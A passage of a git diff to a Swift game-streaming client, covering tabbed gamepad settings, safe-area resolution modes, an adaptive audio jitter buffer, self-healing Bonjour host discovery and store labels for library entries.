) { systemButtons = $0 }, choiceRow( - id: "guideGesture", icon: "hand.point.up.left", label: "Hold Select for guide", + id: "guideGesture", tab: .controller, icon: "hand.point.up.left", + label: "Hold Select for guide", detail: "Hold Select alone to press the host's guide button — keep holding " + "for a Gaming-Mode host's quick-access menu. A tap still goes through.", options: SettingsOptions.guideGestures, current: guideGesture, @@ -442,33 +585,47 @@ struct GamepadSettingsView: View { ) { guideGesture = $0 }, choiceRow( - id: "hud", header: "Interface", icon: "chart.bar", label: "Statistics overlay", + id: "palette", tab: .interface, icon: "paintpalette", label: "Background", + detail: "The colour family this backdrop drifts through — it changes as you " + + "step, so pick by looking. Appearance only.", + options: GamepadPalette.all.map { (label: $0.name, tag: $0.id) }, + current: GamepadPalette.named(paletteID).id + ) { paletteID = $0 }, + toggleRow( + id: "autoWake", tab: .interface, icon: "power", label: "Auto-wake on connect", + detail: "Send Wake-on-LAN to a sleeping saved host and wait for it before " + + "streaming. Off connects straight through.", + value: $autoWakeEnabled), + choiceRow( + id: "hud", tab: .interface, icon: "chart.bar", label: "Statistics overlay", detail: "How much to show while streaming — Compact is a one-line pill, " + "Detailed adds the latency stage breakdown.", options: SettingsOptions.statsVerbosities, current: statsVerbosityRaw ) { statsVerbosityRaw = $0 }, choiceRow( - id: "hudPlacement", icon: "rectangle.inset.topright.filled", label: "Overlay position", + id: "hudPlacement", tab: .interface, icon: "rectangle.inset.topright.filled", + label: "Overlay position", detail: "Which corner the statistics overlay sits in.", options: SettingsOptions.hudPlacements, current: hudPlacement ) { hudPlacement = $0 }, toggleRow( - id: "library", icon: "square.grid.2x2", label: "Game library", + id: "library", tab: .interface, icon: "square.grid.2x2", label: "Game library", detail: "Browse and launch the host's games with \(buttonName(\.buttonY, "Y")).", value: $libraryEnabled), toggleRow( - id: "gamepadUI", icon: "hand.tap", label: "Controller-optimized UI", + id: "gamepadUI", tab: .interface, icon: "hand.tap", + label: "Controller-optimized UI", detail: "Turn off to use the touch interface even with a controller connected.", value: $gamepadUIEnabled), ] #if os(macOS) // The windowed safe-present toggle slots in after "Smoothness buffer" (staying inside - // the Video group) — macOS only, mirroring the touch SettingsView's Presentation row + // the Video tab) — macOS only, mirroring the touch SettingsView's Presentation row // (the DCP swapID-panic mitigation; see DefaultsKey.windowedSafePresent). if let at = list.firstIndex(where: { $0.id == "smoothBuffer" }) { list.insert( toggleRow( - id: "windowedSafePresent", icon: "macwindow.badge.plus", + id: "windowedSafePresent", tab: .video, icon: "macwindow.badge.plus", label: "Safe windowed presentation", detail: "Windowed streams present in step with the compositor — avoids a " + "macOS display-driver crash on high-refresh displays, at a small " @@ -478,14 +635,14 @@ struct GamepadSettingsView: View { } #endif #if os(iOS) - // The device-rumble mirror slots in after "Controller type" (staying inside the - // Controller group — the next row carries the "Interface" header). iPhone only in - // practice: hidden where the device itself can't play haptics (iPad). + // The device-rumble mirror slots in after "Controller type", inside the Controller tab. + // iPhone only in practice: hidden where the device itself can't play haptics (iPad). if CHHapticEngine.capabilitiesForHardware().supportsHaptics, let at = list.firstIndex(where: { $0.id == "padType" }) { list.insert( toggleRow( - id: "deviceRumble", icon: "iphone.radiowaves.left.and.right", + id: "deviceRumble", tab: .controller, + icon: "iphone.radiowaves.left.and.right", label: "Rumble on this iPhone", detail: "Also play player 1's rumble on the phone's own Taptic Engine — " + "for clip-on pads without rumble motors.", @@ -505,17 +662,17 @@ struct GamepadSettingsView: View { private var profileRows: [Row] { guard !profiles.profiles.isEmpty else { return [Row( - id: "noProfiles", header: "Profiles", icon: "slider.horizontal.3", + id: "noProfiles", tab: .profiles, icon: "slider.horizontal.3", label: "No profiles yet", value: "", detail: emptyCatalogDetail, adjustable: false, adjust: { _ in false }, activate: {})] } - return profiles.profiles.enumerated().map { i, profile in + return profiles.profiles.map { profile in let pins = store.hosts .filter { ($0.pinnedProfileIDs ?? []).contains(profile.id) }.count return Row( - id: "profile-\(profile.id)", header: i == 0 ? "Profiles" : nil, + id: "profile-\(profile.id)", tab: .profiles, icon: "slider.horizontal.3", label: profile.name, value: pins == 0 ? "Not pinned" : "Pinned to \(pins) host\(pins == 1 ? "" : "s")", detail: profileDetail, @@ -537,7 +694,8 @@ struct GamepadSettingsView: View { private func pinRows(for profile: StreamProfile) -> [Row] { guard !store.hosts.isEmpty else { return [Row( - id: "noHosts", icon: "desktopcomputer", label: "No saved hosts yet", + id: "noHosts", tab: .profiles, icon: "desktopcomputer", + label: "No saved hosts yet", value: "", detail: "Pair with a host first, then pin this profile to it.", adjustable: false, @@ -547,7 +705,7 @@ struct GamepadSettingsView: View { let hostID = host.id let pinned = (host.pinnedProfileIDs ?? []).contains(profile.id) return Row( - id: "pinHost-\(hostID.uuidString)", icon: "desktopcomputer", + id: "pinHost-\(hostID.uuidString)", tab: .profiles, icon: "desktopcomputer", label: host.displayName, value: pinned ? "Pinned" : "Off", detail: "A pinned profile appears as its own card on the host — one press " @@ -609,13 +767,13 @@ struct GamepadSettingsView: View { // MARK: - Row builders private func choiceRow( - id: String, header: String? = nil, icon: String, label: String, detail: String, + id: String, tab: GpSettingsTab, icon: String, label: String, detail: String, options: [(label: String, tag: T)], current: T, enabled: Bool = true, write: @escaping (T) -> Void ) -> Row { let index = options.firstIndex { $0.tag == current } return Row( - id: id, header: header, icon: icon, label: label, + id: id, tab: tab, icon: icon, label: label, value: index.map { options[$0].label } ?? "—", detail: detail, enabled: enabled, @@ -638,11 +796,11 @@ struct GamepadSettingsView: View { } private func toggleRow( - id: String, header: String? = nil, icon: String, label: String, detail: String, + id: String, tab: GpSettingsTab, icon: String, label: String, detail: String, value: Binding, enabled: Bool = true ) -> Row { Row( - id: id, header: header, icon: icon, label: label, + id: id, tab: tab, icon: icon, label: label, value: value.wrappedValue ? "On" : "Off", detail: detail, enabled: enabled, diff --git a/clients/apple/Sources/PunktfunkClient/Settings/SettingsOptions.swift b/clients/apple/Sources/PunktfunkClient/Settings/SettingsOptions.swift index fa23a22c..04fcef9c 100644 --- a/clients/apple/Sources/PunktfunkClient/Settings/SettingsOptions.swift +++ b/clients/apple/Sources/PunktfunkClient/Settings/SettingsOptions.swift @@ -171,14 +171,26 @@ enum SettingsOptions { /// This device's native mode first, then the presets, deduped by dimensions (native wins a /// tie). + /// + /// On iOS the native row is followed by its **safe-area** variant, which is the same mode + /// narrowed so the picture clears the sensor housing and the rounded corners — see + /// [`SafeDisplay`] for why a narrower mode is the whole fix. It is emitted unconditionally and + /// left to the dedup below: on a device with no housing the two modes are identical, the + /// duplicate is dropped, and no pointless row appears. @MainActor static func resolutionModes() -> [(name: String, w: Int, h: Int)] { var native: [(name: String, w: Int, h: Int)] = [] #if os(iOS) || os(tvOS) let bounds = UIScreen.main.nativeBounds // portrait-oriented pixels (tvOS: the TV mode) - native = [("This device", - Int(max(bounds.width, bounds.height)), - Int(min(bounds.width, bounds.height)))] + let nativeW = Int(max(bounds.width, bounds.height)) + let nativeH = Int(min(bounds.width, bounds.height)) + native = [("This device", nativeW, nativeH)] + #if os(iOS) + let safe = SafeDisplay.mode( + nativeWidth: nativeW, nativeHeight: nativeH, + sideInsetPoints: mainWindowSideInset(), scale: UIScreen.main.nativeScale) + native.append(("This device (safe area)", safe.width, safe.height)) + #endif #else if let screen = NSScreen.main { let scale = screen.backingScaleFactor @@ -191,6 +203,26 @@ enum SettingsOptions { return (native + resolutionPresets).filter { seen.insert("\($0.w)x\($0.h)").inserted } } + #if os(iOS) + /// The key window's per-side safe-area inset in points, resolved for the LANDSCAPE stream even + /// when this settings screen is currently portrait (see `SafeDisplay.sideInsetPoints`). + /// + /// Zero when no window is up yet — the safe mode then equals the native one and `resolutionModes` + /// dedups the row away, which is the right answer for a device we can't measure. + @MainActor + private static func mainWindowSideInset() -> Double { + let insets = UIApplication.shared.connectedScenes + .compactMap { $0 as? UIWindowScene } + .flatMap(\.windows) + .first { $0.isKeyWindow }? + .safeAreaInsets + guard let insets else { return 0 } + return SafeDisplay.sideInsetPoints( + left: Double(insets.left), right: Double(insets.right), top: Double(insets.top), + isPhone: UIDevice.current.userInterfaceIdiom == .phone) + } + #endif + /// Refresh rates the device can actually display (no point asking the host to render frames /// the screen can't show), plus any stored custom value so it stays selectable. @MainActor diff --git a/clients/apple/Sources/PunktfunkClient/Support/GlassStyle.swift b/clients/apple/Sources/PunktfunkClient/Support/GlassStyle.swift index bfa111c7..6f429e44 100644 --- a/clients/apple/Sources/PunktfunkClient/Support/GlassStyle.swift +++ b/clients/apple/Sources/PunktfunkClient/Support/GlassStyle.swift @@ -80,6 +80,12 @@ private struct ConsoleGlass: ViewModifier { let shape: S var tint: Color? var interactive = false + /// The console surface follows the background palette: a PALE field needs the material to + /// frost light and the glass to read as white, or the dark ink on top of it disappears. + /// Defaults to the dark ink, so every non-gamepad caller is unchanged. + @Environment(\.gamepadInk) private var ink + + private var scheme: ColorScheme { ink.isLight ? .light : .dark } func body(content: Content) -> some View { #if os(tvOS) @@ -89,16 +95,16 @@ private struct ConsoleGlass: ViewModifier { // the 10-foot platform). The tint rides an overlay so the focused row keeps its wash. content.background { shape.fill(.ultraThinMaterial) - .environment(\.colorScheme, .dark) + .environment(\.colorScheme, scheme) .overlay { if let tint { shape.fill(tint) } } } #else if #available(iOS 26, macOS 26, *) { - content.glassEffect(glass, in: shape) + content.glassEffect(glass, in: shape).environment(\.colorScheme, scheme) } else { - content.background { shape.fill(.ultraThinMaterial).environment(\.colorScheme, .dark) } + content.background { shape.fill(.ultraThinMaterial).environment(\.colorScheme, scheme) } } #endif } diff --git a/clients/apple/Sources/PunktfunkKit/Audio/AudioRing.swift b/clients/apple/Sources/PunktfunkKit/Audio/AudioRing.swift index f139d82e..222d4be0 100644 --- a/clients/apple/Sources/PunktfunkKit/Audio/AudioRing.swift +++ b/clients/apple/Sources/PunktfunkKit/Audio/AudioRing.swift @@ -15,10 +15,16 @@ import os /// audible blip". It is now the same two-stage scheme the Rust clients share /// (`punktfunk_core::audio::JitterPolicy`): a slow depth average that sits above target for a /// sustained window sheds ONE 5 ms frame with a crossfade, and the hard cap is only a backstop. -/// Keep the constants here in step with `JitterTuning.COREAUDIO`. +/// +/// **Adaptive depth.** The target is a floor, not a constant: repeated genuine underruns grow it +/// a step at a time (`noteRead`, mirroring `JitterPolicy::note_read`) up to `maxTargetMS`, and a +/// long quiet spell relaxes it back toward the base — so a session on Wi-Fi that bunches arrivals +/// deepens until it stops crackling, while a clean LAN keeps the tight base latency. Keep the +/// constants here in step with `JitterTuning.COREAUDIO`. final class AudioRing: @unchecked Sendable { /// Mirrors `JitterTuning::COREAUDIO` — see that type for the rationale. private static let targetMS = 20 + private static let maxTargetMS = 70 private static let headroomMS = 30 private static let hardCapMS = 90 private static let deprimeAfter = 4 @@ -33,6 +39,15 @@ final class AudioRing: @unchecked Sendable { private static let crossfadeMS = 2 /// Time constant of the depth average. private static let ewmaTauMS = 1_000 + /// Adaptive target floor, mirroring `JitterPolicy::note_read`: this many genuine underruns + /// inside one window grow the live target a step (up to `maxTargetMS`), and a long quiet + /// spell relaxes it a step back toward the base — so only the sessions that actually starve + /// (Wi-Fi power-save bunching is the classic) pay for extra depth, and only while they need + /// it. All spans are measured in consumed samples, like the Rust policy. + private static let growUnderruns = 3 + private static let growWindowMS = 5_000 + private static let growStepMS = 10 + private static let shrinkQuietMS = 30_000 private var buf: [Float] private var readIdx = 0 @@ -42,6 +57,14 @@ final class AudioRing: @unchecked Sendable { private var emptyReads = 0 private var depthAvg: Double = 0 private var overRun = 0 + /// The live target in interleaved samples — `targetMS` grown by underrun pressure + /// (`noteRead`), never below the base. Set in `init` (needs `perMS`). + private var targetLive = 0 + /// Underruns seen in the current growth window, and the window's consumed-sample count. + private var underrunsInWindow = 0 + private var windowRun = 0 + /// Consumed samples since the last underrun (drives the relax-back-down step). + private var quietRun = 0 /// Reported, not acted on: short reads that actually starved the callback, and smooth drift /// corrections. A rising underrun count means the ring is being starved (network or CPU), /// which is a different problem from the depth being wrong. @@ -57,12 +80,14 @@ final class AudioRing: @unchecked Sendable { buf = [Float](repeating: 0, count: capacity) self.channels = channels perMS = 48 * channels + targetLive = Self.targetMS * perMS } - /// Live target depth in interleaved samples, lifted so it can always serve one device quantum - /// plus a packet (a large-buffer device cannot sustain a target below its own quantum). + /// Effective target depth in interleaved samples: the (adaptively grown) live target, lifted + /// so it can always serve one device quantum plus a packet (a large-buffer device cannot + /// sustain a target below its own quantum). private var target: Int { - max(Self.targetMS * perMS, renderQuantum + Self.frameMS * perMS) + max(targetLive, renderQuantum + Self.frameMS * perMS) } func write(_ samples: UnsafePointer, count: Int) { @@ -80,8 +105,13 @@ final class AudioRing: @unchecked Sendable { buf[(writeIdx + i) % capacity] = samples[i] } writeIdx += count - // Backstop only: the smooth shed in `read` is what normally holds the depth down. - let cap = min(target + Self.headroomMS * perMS, Self.hardCapMS * perMS) + // Backstop only: the smooth shed in `read` is what normally holds the depth down. The + // hard cap must always leave room for one device quantum past the target (mirrors the + // Rust policy's `.max(target + want)`) or a large-quantum device would trim itself into + // a permanent underrun. + let cap = max( + min(target + Self.headroomMS * perMS, Self.hardCapMS * perMS), + target + renderQuantum) if writeIdx - readIdx > cap { readIdx = writeIdx - cap depthAvg = Double(cap) @@ -133,13 +163,43 @@ final class AudioRing: @unchecked Sendable { readIdx += n if n < count { for i in n..= Self.growWindowMS * perMS { + windowRun = 0 + underrunsInWindow = 0 + } + if ranShort { + quietRun = 0 emptyReads += 1 underrunCount += 1 - if emptyReads >= Self.deprimeAfter { primed = false } + if emptyReads >= Self.deprimeAfter { + primed = false + emptyReads = 0 + } + underrunsInWindow += 1 + if underrunsInWindow >= Self.growUnderruns { + underrunsInWindow = 0 + windowRun = 0 + targetLive = min(targetLive + Self.growStepMS * perMS, Self.maxTargetMS * perMS) + } } else { emptyReads = 0 + quietRun += count + if quietRun >= Self.shrinkQuietMS * perMS { + quietRun = 0 + targetLive = max(targetLive - Self.growStepMS * perMS, Self.targetMS * perMS) + } } } diff --git a/clients/apple/Sources/PunktfunkKit/Connection/HostDiscovery.swift b/clients/apple/Sources/PunktfunkKit/Connection/HostDiscovery.swift index 3bc17a8a..d6df9346 100644 --- a/clients/apple/Sources/PunktfunkKit/Connection/HostDiscovery.swift +++ b/clients/apple/Sources/PunktfunkKit/Connection/HostDiscovery.swift @@ -9,6 +9,25 @@ // // iOS/tvOS gate Bonjour browsing on Info.plist `NSBonjourServices` listing `_punktfunk._udp` // (Config/Info.plist) — without it the system blocks the browse and nothing is returned. +// +// SELF-HEALING is what the bookkeeping below is for. Neither Network.framework primitive +// recovers on its own, and all three failure modes read as "the host isn't there": +// +// - `browseResultsChangedHandler` fires only when the result SET changes. A service that is +// found but whose resolve fails is never re-offered — from the browser's point of view +// nothing changed — so one unlucky resolve hid that host for the life of the process. +// - `NWConnection` has no timeout. A resolve that cannot complete (v6-only advert against our +// IPv4 pin, Wi-Fi still associating, host mid-reboot) parks in `.preparing`/`.waiting` +// forever instead of failing, so the retry path above was never even reached. +// - `NWBrowser` parks in `.waiting` when the browse is blocked. On iOS that is where the LOCAL +// NETWORK PRIVACY gate lands the first launch after install: the browse starts, the system +// puts up its "find and connect to devices on your local network" prompt, and the browser +// waits. Granting permission does NOT revive that browser — only a new one sees the grant. +// +// Every one of those presented as "restarting the app fixes it", which is what field reports +// described. A 1 Hz `sweep` therefore times out stuck resolves, retries failed ones on a backoff +// and re-arms a browser that stopped working; `refresh()` forces the same recovery immediately, +// behind the UI's pull-to-refresh and Refresh button. #if canImport(Network) import Foundation @@ -48,12 +67,50 @@ public struct DiscoveredHost: Identifiable, Sendable, Equatable { public final class HostDiscovery: ObservableObject { /// Currently-visible hosts, deduped by `id`, sorted by name. Main-actor. @Published public private(set) var hosts: [DiscoveredHost] = [] + /// True for a moment after a rescan is kicked off, so a Refresh control can show that it did + /// something on the surfaces with no pull-to-refresh spinner of their own (macOS, tvOS). + @Published public private(set) var isScanning = false private var browser: NWBrowser? - /// Keyed by the service endpoint's description (a stable, Sendable handle we can capture - /// into the resolve callbacks without smuggling non-Sendable Network types across hops). - private var resolved: [String: DiscoveredHost] = [:] + /// Every service the browser currently reports, keyed by the endpoint's description (a stable, + /// Sendable handle we can capture into the resolve callbacks without smuggling non-Sendable + /// Network types across hops). Held — not just diffed — so a retry can re-resolve a service + /// the browser will never report again (see the file header). + private var services: [String: NWBrowser.Result] = [:] + /// The transport address a completed resolve produced, per service key. The rest of a + /// `DiscoveredHost` comes from the advert's TXT, which is re-read on every browse report. + private var addresses: [String: (host: String, port: UInt16)] = [:] private var connections: [String: NWConnection] = [:] + /// Deadline for each in-flight resolve — `NWConnection` has none of its own. + private var deadlines: [String: Date] = [:] + /// Consecutive failed resolves per service, and when the next attempt is allowed. + private var failures: [String: Int] = [:] + private var retryAt: [String: Date] = [:] + /// Services whose address should be re-resolved even though we already have one — set by + /// `refresh()`. The old address keeps showing until the new one lands, so a rescan never + /// blinks the list empty; without this a manual Refresh silently skipped every host it had + /// already resolved, which is exactly the host whose address may have moved. + private var staleAddresses: Set = [] + /// Consecutive non-ready browser states, and when to tear it down and re-arm. nil = healthy. + private var browserFailures = 0 + private var browserRearmAt: Date? + /// Bumped on every re-arm so callbacks from a superseded browser — and from the resolves it + /// started — are ignored instead of clobbering the current generation's bookkeeping. + private var generation = 0 + /// The 1 Hz maintenance tick. Nothing else re-drives a stuck resolve or a sick browser. + private var sweep: Task? + private var scanningUntil: Date? + + /// A LAN resolve answers in milliseconds; this only has to outlast a slow Wi-Fi wake. + private static let resolveTimeout: TimeInterval = 6 + /// How long `isScanning` holds — and `rescan()` waits — after a manual refresh. + private static let scanSettle: TimeInterval = 1.5 + /// 1s, 2s, 4s, 8s … capped at 30s, for the resolve retry and the browser re-arm alike. Long + /// enough that a genuinely-down network doesn't spin the main queue, short enough that a host + /// coming back is picked up while the user is still looking at the screen. + private static func backoff(_ failures: Int) -> TimeInterval { + min(pow(2, Double(max(0, failures - 1))), 30) + } public init() {} @@ -63,34 +120,73 @@ public final class HostDiscovery: ObservableObject { guard !debugPinned else { return } // a seeded advert set outranks the live LAN #endif guard browser == nil else { return } - let browser = NWBrowser( - for: .bonjourWithTXTRecord(type: "_punktfunk._udp", domain: nil), - using: NWParameters()) - browser.browseResultsChangedHandler = { results, _ in - MainActor.assumeIsolated { [weak self] in self?.reconcile(results) } - } - browser.stateUpdateHandler = { state in - // A failed browser never recovers on its own; tear down and re-arm so transient - // network changes (Wi-Fi flip, VPN) don't leave discovery silently dead. - MainActor.assumeIsolated { [weak self] in - if case .failed = state { self?.restart() } - } - } - self.browser = browser - browser.start(queue: .main) + armBrowser() + startSweep() } /// Stop browsing and drop all discovered state. public func stop() { + sweep?.cancel() + sweep = nil + generation &+= 1 browser?.cancel() browser = nil for conn in connections.values { conn.cancel() } connections.removeAll() - resolved.removeAll() + deadlines.removeAll() + services.removeAll() + addresses.removeAll() + failures.removeAll() + retryAt.removeAll() + staleAddresses.removeAll() + browserFailures = 0 + browserRearmAt = nil + scanningUntil = nil + if isScanning { isScanning = false } if !hosts.isEmpty { hosts = [] } } + /// Force a rescan now: re-arm the browser and retry every service whose resolve had failed, + /// clearing the backoffs so nothing is left waiting. This is the manual escape hatch for the + /// failure modes in the file header — and the only thing that clears the iOS local-network + /// permission gate without an app restart, since only a NEW browser sees a permission the + /// user granted after the old one started. + /// + /// Also starts discovery if it wasn't running, so a Refresh button does the obvious thing. + public func refresh() { + #if DEBUG + guard !debugPinned else { return } // as in `start()` — the harness's set is the truth + #endif + isScanning = true + scanningUntil = Date().addingTimeInterval(Self.scanSettle) + failures.removeAll() + retryAt.removeAll() + staleAddresses = Set(services.keys) + browserFailures = 0 + armBrowser() + startSweep() + pump() + } + + /// `refresh()` for a `.refreshable` gesture: holds briefly so the control's spinner reflects a + /// browse that had time to answer instead of blinking out instantly. + public func rescan() async { + refresh() + try? await Task.sleep(nanoseconds: UInt64(Self.scanSettle * 1_000_000_000)) + } + + /// `refresh()`, but only when discovery is already running — the app-foreground hook. iOS + /// suspends a backgrounded process's browse and `onAppear`/`onDisappear` don't fire across + /// background/foreground, so a browse that died while suspended stayed dead on return; this + /// re-arms it without starting a browse on a screen that deliberately isn't browsing + /// (mid-session, where the home tore discovery down). + public func refreshIfRunning() { + guard browser != nil else { return } + refresh() + } + deinit { + sweep?.cancel() browser?.cancel() for conn in connections.values { conn.cancel() } } @@ -124,48 +220,103 @@ public final class HostDiscovery: ObservableObject { } #endif - private func restart() { - stop() - start() + // MARK: - Browser + + /// Build and start a fresh browser, retiring the previous one and every resolve it started. + /// Those resolves' callbacks are gated on `generation`, so they must not be left holding map + /// entries — `pump()` restarts them against the new generation. + private func armBrowser() { + generation &+= 1 + browser?.cancel() + for conn in connections.values { conn.cancel() } + connections.removeAll() + deadlines.removeAll() + browserRearmAt = nil + + let generation = self.generation + let browser = NWBrowser( + for: .bonjourWithTXTRecord(type: "_punktfunk._udp", domain: nil), + using: NWParameters()) + browser.browseResultsChangedHandler = { results, _ in + MainActor.assumeIsolated { [weak self] in + guard let self, generation == self.generation else { return } + self.reconcile(results) + } + } + browser.stateUpdateHandler = { state in + MainActor.assumeIsolated { [weak self] in + guard let self, generation == self.generation else { return } + self.browserStateChanged(state) + } + } + self.browser = browser + browser.start(queue: .main) } - /// Diff the browser's current result set against what we're tracking: drop departed - /// services, resolve newly-seen ones. - private func reconcile(_ results: Set) { - let live = Set(results.map { Self.key($0) }) - for key in resolved.keys where !live.contains(key) { resolved[key] = nil } - for key in connections.keys where !live.contains(key) { - connections[key]?.cancel() - connections[key] = nil + /// A browser that stops working never recovers on its own, and it has two ways to stop: + /// `.failed` (dead) and `.waiting` (blocked — a network change, or the iOS local-network + /// permission gate described in the file header). Schedule a re-arm for both, on a backoff: + /// re-arming synchronously on `.failed` alone both missed the permission case entirely and + /// could spin the main queue on a browser that fails instantly every time. + private func browserStateChanged(_ state: NWBrowser.State) { + switch state { + case .ready: + browserFailures = 0 + browserRearmAt = nil + case .failed, .waiting: + guard browserRearmAt == nil else { return } // one re-arm already scheduled + browserFailures += 1 + browserRearmAt = Date().addingTimeInterval(Self.backoff(browserFailures)) + default: + break // .setup / .cancelled — nothing to heal } + } + + /// Diff the browser's current result set against what we're tracking: drop departed services, + /// record the rest — re-reading the advert every time, so a host that re-keys, moves or flips + /// its pairing policy republishes under the same name and the card follows it — then resolve + /// whatever still needs an address. + private func reconcile(_ results: Set) { + var live: Set = [] for result in results { let key = Self.key(result) - if resolved[key] == nil, connections[key] == nil { resolve(result) } + live.insert(key) + services[key] = result } + for key in Array(services.keys) where !live.contains(key) { forget(key) } publish() + pump() + } + + private func forget(_ key: String) { + connections[key]?.cancel() + connections[key] = nil + deadlines[key] = nil + services[key] = nil + addresses[key] = nil + failures[key] = nil + retryAt[key] = nil + staleAddresses.remove(key) + } + + // MARK: - Resolve + + /// Start the resolves that are due: every live service with no address yet, nothing in flight, + /// and past its retry time. + private func pump() { + let now = Date() + for (key, result) in services { + guard addresses[key] == nil || staleAddresses.contains(key) else { continue } + guard connections[key] == nil else { continue } + if let at = retryAt[key], at > now { continue } + resolve(key, result) + } } /// Resolve one service to IP:port via a short UDP connection (it reaches `.ready` once the - /// path is established — no data is sent), reading the TXT up front so the callback only - /// captures Sendable values + the endpoint key. - private func resolve(_ result: NWBrowser.Result) { - let key = Self.key(result) - let name = Self.instanceName(result.endpoint) - var fp: String? - var pair: String? - var id: String? - var macs: [String] = [] - var osChain = "" - if case let .bonjour(txt) = result.metadata { - fp = Self.entry(txt, "fp") - pair = Self.entry(txt, "pair") - id = Self.entry(txt, "id") - macs = (Self.entry(txt, "mac") ?? "") - .split(separator: ",") - .map { $0.trimmingCharacters(in: .whitespaces) } - .filter { !$0.isEmpty } - osChain = sanitizeOsChain(Self.entry(txt, "os") ?? "") - } + /// path is established — no data is sent). The TXT is NOT read here: it comes from the browse + /// result at publish time, so a re-advertised host doesn't need a fresh resolve to be re-read. + private func resolve(_ key: String, _ result: NWBrowser.Result) { // Resolve over IPv4 only: Network.framework prefers IPv6 (RFC 6724), and the host's OS // mDNS responder often answers AAAA for its hostname even though the punktfunk host stack // (control QUIC + data UDP) binds IPv4 sockets exclusively — a v6-resolved address would @@ -177,51 +328,132 @@ public final class HostDiscovery: ObservableObject { } let conn = NWConnection(to: result.endpoint, using: params) connections[key] = conn + deadlines[key] = Date().addingTimeInterval(Self.resolveTimeout) + let generation = self.generation conn.stateUpdateHandler = { state in MainActor.assumeIsolated { [weak self] in - guard let self, let conn = self.connections[key] else { return } + // Look the connection back up rather than capturing it — capturing it here would + // retain the connection through its own handler. + guard let self, generation == self.generation, + let conn = self.connections[key] else { return } switch state { case .ready: - if case let .hostPort(host, port)? = conn.currentPath?.remoteEndpoint, - let address = Self.hostString(host) { - self.resolved[key] = DiscoveredHost( - id: (id?.isEmpty == false) ? id! : name, - name: name, host: address, port: port.rawValue, - fingerprintHex: fp, requiresPairing: pair == "required", - allowsTofu: pair == "optional", macAddresses: macs, - osChain: osChain) - self.publish() - } - conn.cancel() + let endpoint = conn.currentPath?.remoteEndpoint self.connections[key] = nil + self.deadlines[key] = nil + conn.cancel() + if case let .hostPort(host, port)? = endpoint, + let address = Self.hostString(host) { + self.addresses[key] = (address, port.rawValue) + self.failures[key] = nil + self.retryAt[key] = nil + self.staleAddresses.remove(key) + self.publish() + } else { + // Ready but no usable remote — a failed attempt, not a finished one. + self.resolveFailed(key) + } case .failed, .cancelled: self.connections[key] = nil + self.deadlines[key] = nil + self.resolveFailed(key) default: - break + break // .preparing / .waiting — the sweep's deadline is what ends these } } } conn.start(queue: .main) } - /// Publish the resolved set, deduped by `id` (a host on several interfaces / re-advertising - /// collapses to one row), sorted by name. + private func resolveFailed(_ key: String) { + let count = (failures[key] ?? 0) + 1 + failures[key] = count + retryAt[key] = Date().addingTimeInterval(Self.backoff(count)) + } + + // MARK: - Sweep + + private func startSweep() { + sweep?.cancel() + sweep = Task { [weak self] in + while !Task.isCancelled { + try? await Task.sleep(nanoseconds: 1_000_000_000) + guard !Task.isCancelled, let self else { return } + self.tick() + } + } + } + + private func tick() { + let now = Date() + // Time out the resolves that parked. Without this they never end, and `pump()` skips a + // service that has a connection in flight — so that host stayed invisible indefinitely. + for key in deadlines.filter({ $0.value <= now }).keys { + connections[key]?.cancel() + connections[key] = nil + deadlines[key] = nil + resolveFailed(key) + } + if let at = browserRearmAt, at <= now { armBrowser() } + pump() + if let until = scanningUntil, until <= now { + scanningUntil = nil + isScanning = false + } + } + + // MARK: - Publish + + /// Publish the live adverts that have an address, deduped by `id` (a host on several + /// interfaces / re-advertising collapses to one row), sorted by name. private func publish() { var byID: [String: DiscoveredHost] = [:] - for host in resolved.values { byID[host.id] = host } + for key in services.keys.sorted() { + guard let result = services[key], let address = addresses[key] else { continue } + let host = Self.host(from: result, address: address.host, port: address.port) + byID[host.id] = host + } let next = byID.values.sorted { $0.name.localizedCaseInsensitiveCompare($1.name) == .orderedAscending } if next != hosts { hosts = next } } + /// Join a browse result's advert (instance name + TXT) to a resolved address. + private static func host( + from result: NWBrowser.Result, address: String, port: UInt16 + ) -> DiscoveredHost { + let name = instanceName(result.endpoint) + var fp: String? + var pair: String? + var id: String? + var macs: [String] = [] + var osChain = "" + if case let .bonjour(txt) = result.metadata { + fp = entry(txt, "fp") + pair = entry(txt, "pair") + id = entry(txt, "id") + macs = (entry(txt, "mac") ?? "") + .split(separator: ",") + .map { $0.trimmingCharacters(in: .whitespaces) } + .filter { !$0.isEmpty } + osChain = sanitizeOsChain(entry(txt, "os") ?? "") + } + return DiscoveredHost( + id: (id?.isEmpty == false) ? id! : name, + name: name, host: address, port: port, + fingerprintHex: fp, requiresPairing: pair == "required", + allowsTofu: pair == "optional", macAddresses: macs, + osChain: osChain) + } + private static func key(_ result: NWBrowser.Result) -> String { "\(result.endpoint)" } private static func instanceName(_ endpoint: NWEndpoint) -> String { if case let .service(name, _, _, _) = endpoint { return name } - return "punktfunk host" + return "Punktfunk host" } private static func entry(_ txt: NWTXTRecord, _ field: String) -> String? { diff --git a/clients/apple/Sources/PunktfunkKit/Connection/LibraryClient.swift b/clients/apple/Sources/PunktfunkKit/Connection/LibraryClient.swift index 6a7f459a..b7024989 100644 --- a/clients/apple/Sources/PunktfunkKit/Connection/LibraryClient.swift +++ b/clients/apple/Sources/PunktfunkKit/Connection/LibraryClient.swift @@ -38,12 +38,46 @@ public struct LaunchSpec: Codable, Hashable, Sendable { /// One title in the unified library. `id` is store-qualified: `steam:` / `custom:`. public struct GameEntry: Codable, Hashable, Identifiable, Sendable { public var id: String - public var store: String // "steam" | "custom" + public var store: String // "steam" | "custom" | "lutris" | "heroic" | "epic" | "gog" | "xbox" public var title: String public var art: Artwork public var launch: LaunchSpec? + /// `"game"` (the default, and what an older host omits) or `"launcher"` — an entry that opens + /// the launcher itself (Steam Big Picture, Heroic) rather than a title. Deliberately a plain + /// optional String: the host owns the vocabulary, and an unknown future value must never fail + /// the whole library decode. Anything that isn't `"launcher"` is a game (design D4). + public var role: String? public var isCustom: Bool { store == "custom" } + + /// Whether this entry opens a launcher rather than a game. + public var isLauncher: Bool { role == "launcher" } + + /// Display name for the store badge — the same table the Rust clients use + /// (`pf-console-ui::library::store_label`). Before this existed the badge said "Steam" for + /// every non-custom entry, which a Lutris or GOG title made a lie. + public var storeLabel: String { + switch store { + case "steam": return "Steam" + case "custom": return "Custom" + case "heroic": return "Heroic" + case "lutris": return "Lutris" + case "epic": return "Epic" + case "gog": return "GOG" + case "xbox": return "Xbox" + default: return "Game" + } + } +} + +public extension Array where Element == GameEntry { + /// Design D4: launcher entries lead the shelf, and the host's title order survives within each + /// group. Applied once where the library is fetched, so no individual view has to 